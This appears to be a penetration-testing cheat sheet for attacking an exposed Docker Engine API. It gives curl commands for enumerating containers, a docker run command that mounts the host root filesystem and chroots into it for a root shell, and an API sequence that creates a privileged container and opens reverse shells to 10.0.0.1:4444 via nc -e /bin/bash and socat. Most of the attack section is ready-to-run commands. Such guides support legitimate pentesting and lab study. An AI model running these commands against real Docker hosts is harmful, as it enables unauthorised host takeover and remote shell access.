Docker Engine API Pentesting

Last modified: 2023-02-25

Container Web

The Docker Engine API is a RESTfull API accessed by an HTTP client. The default ports are 2375, 2376. The socket file is located at /var/run/docker.sock.

Enumeration

curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes

Privilege Escalation from Docker Image

We may be able to get a root shell from remote Docker images.

1. Check if Docker is Running in Local Machine

In local machine, check if docker is running.

sudo systemctl status docker

If the docker is not running, start it.

sudo systemctl stop docker
sudo systemctl start docker

2. List Remote Docker Images

We need to find what images exist in target Docker API.

docker -H <target-ip>:2375 images

3. Get a Shell

After getting an image, we can use it to create a new container and run with executing sh.

docker -H <target-ip>:2375 run -v /:/mnt --rm -it <running-image-name> chroot /mnt sh

Now we should get a root shell.


Remote Code Execution (RCE)

Reference: https://dejandayoff.com/the-danger-of-exposing-docker.sock/

We might be able to execute remote code by create a new container image using the existing one.

1. Check the Image Name

First we need to find the existing container image and the name of it.

curl <ip>:2375/containers/json
curl <ip>:2375/containers/<id or name>/json

2. Create/Start a New Container

If we found the container image name, prepare a new container configuration named “image.json”.

{
  "Image": "sweettoothinc:latest",
  "Cmd": ["/bin/bash"],
  "Binds": ["/:/mnt:rw"]
}

Then create a new container using Docker Engine API.

curl -X POST -H "Content-Type: application/json" -d @image.json <ip>:2375/containers/create

We get the new container ID, so copy it.

After that, start the new container.

curl -X POST <ip>:2375/containers/<new_container_id>/start

3. Create a New Exec Instance

Next create a exec instance to reverse shell.

  • Ncat

    curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
    
  • Socat

    curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
    

We get a exec ID, so copy it.

4. Start an Exec Instance & Reverse Shell

Start a listener in local machine.

nc -lvnp 4444

Now start an exec instance and get a shell.

curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start

We should get a shell.